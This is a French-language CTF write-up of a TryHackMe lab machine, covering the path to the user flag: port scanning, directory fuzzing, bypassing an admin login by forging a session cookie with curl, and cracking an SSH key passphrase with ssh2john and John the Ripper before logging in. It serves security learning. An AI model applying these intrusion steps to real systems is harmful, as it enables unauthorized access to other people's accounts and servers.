Petite black-box de niveau moyen. Je ne sais pas du tout si j’arriverais au bout ni en combien de temps. Je n’ai pas fait les cours sur l’élévation de privilèges, donc j’ai quelques appréhensions mais on va faire avec. Les cours c’est sympa mais j’avais envie de me challenger.
Les infos de base
Le pitch est le suivant:
Des étudiants ont créé un outil de gestion de mots de passe.
- IP: 10.10.254.153
- Machine d’attaque: une Kali (même pas last update…) en VPN
- 2 flags à trouver:
- Hack the machine and get the flag in user.txt
- Escalate your privileges and get the flag in root.txt
Suivez-moi !
Découverte du réseau
Déjà on va tenter le ping pour être sûr qu’on est pas comme des aveugles avec un walkman.
ping 10.10.254.153
PING 10.10.254.153 (10.10.254.153) 56(84) bytes of data.
64 bytes from 10.10.254.153: icmp_seq=1 ttl=63 time=30.6 ms
64 bytes from 10.10.254.153: icmp_seq=2 ttl=63 time=30.7 ms
NMap
sudo nmap -sS -T5 --top-ports 200 10.10.254.153
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-15 20:48 CEST
Nmap scan report for 10.10.254.153
Host is up (0.041s latency).
Not shown: 198 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Ok donc on a un port de serveur web et du SSH. Go vers le site étudier ça, en théorie on a plus de chances de trouver une vulnérabilité sur du Web que du SSH dès le début.
Le site web
Après analyse de la page d’accueil, rien d’intéressant si ce n’est un commentaire:
<!--Yeah right, just because the Romans used it doesn't make it military grade, change this?-->
- La page “About Us” n’apporte rien à notre étude
- La page Download a quelque soucis d’écriture de balises et on peut y voir un lien vers un script .sh (donc bash), peut-être utile à un moment donné.
Enumération
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.254.153/FUZZ
Un petit ffuf pour trouver les sous-dossiers du site, s’il y en a.
Et on a de la chance, parmi eux, un m’intéresse particulièrement: admin
EDIT: après la rédaction de ce write-up (qui se fait un peu en décalée), j’ai testé depuis Gobuster qui me semble plus pertinent pour l’énumération de dossiers, bien plus rapide (Go) et moins pollué dans ses résultats.
Je tente donc…et la page existe bien.
Le code source ne m’apprend rien en soit mais un script login.js attire mon attention.
Si je regarde son contenu, on peut voir dans les dernières lignes une info qui est utile:
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
Si l’authentification réussie, alors un cookie SessionToken est créé. Je vais donc tenter de feinter avec curl (ça marche aussi avec une extension Firefox mais c’est moins fun):
sudo curl -L http://10.10.254.153/admin --cookie "SessionToken=pwned"
J’obtiens une clé RSA dans le code HTML !
Il semblerait que ça soit une clé SSH, comme indiqué dans un commentaire. Paradox en a visiblement assez de redonner le mot de passe à son collègue et lui dit de le cracker s’il l’a oublié.
Since you keep forgetting your password, jamy, I've set up SSH keys for you.
If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.
Also, we really need to talk about this "Military Grade" encryption. - Paradox
AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
...
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----
J’enregistre la clé dans un fichier.
echo "AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
...
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----" > SSHRSA
Cryptographie
Après quelques recherches, on peut tenter de cracker le mdp associé à cette clé avec SSH2John (John the ripper).
Penser à donner les droits de base sur le fichier précédemment créé pour éviter toute erreur avec son exploitation avec un : chmod 600
chmod 600 SSHRSA
# On génère le hash de la clé
ssh2john SSHRSA > SSHRSA.hash
# On crack le hash avec John et une wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt SSHRSA.hash
jamy6 (SSHRSA)
(Mot de passe volontairement modifié) Et voilà ! Mdp acquis. Testons-le en SSH, avec la clé.
Test SSH
Vu le mdp j’en ai déduit le nom d’utilisateur: jamy (modifié également)
ssh -i SSHRSA.key jamy@10.10.254.153
Enter passphrase for key \'SSHRSA.key\':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
And voila !
Voyons ce qu’on trouve sur ce serveur avec ce compte.
La commande ‘history’ ne retourne rien.
Listing des fichiers dans le profil:
ls -al
total 48
drwxr-xr-x 6 jamy jamy 4096 Jun 27 2020 .
drwxr-xr-x 4 root root 4096 Jun 27 2020 ..
lrwxrwxrwx 1 jamy jamy 9 Jun 27 2020 .bash_history -> /dev/null
-rw-r--r-- 1 jamy jamy 220 Jun 27 2020 .bash_logout
-rw-r--r-- 1 jamy jamy 3771 Jun 27 2020 .bashrc
drwx------ 2 jamy jamy 4096 Jun 27 2020 .cache
drwx------ 3 jamy jamy 4096 Jun 27 2020 .gnupg
drwxrwxr-x 3 jamy jamy 4096 Jun 27 2020 .local
-rw-r--r-- 1 jamy jamy 49 Jun 27 2020 .overpass
-rw-r--r-- 1 jamy jamy 807 Jun 27 2020 .profile
drwx------ 2 jamy jamy 4096 Jun 27 2020 .ssh
-rw-rw-r-- 1 jamy jamy 438 Jun 27 2020 todo.txt
-rw-rw-r-- 1 jamy jamy 38 Jun 27 2020 user.txt
Le user.txt semble répondre au premier flag à trouver !
cat user.txt
thm{65c1aaqef65656262c6281e6bf7} #modifié évidemment :)
C’est validé sur THM !
La suite ?
La partie 2 interviendra dans un autre article, j’ai déjà bossé dessus sans pour le moment trouver la bonne solution et je ne souhaite pas m’aider des walktrough.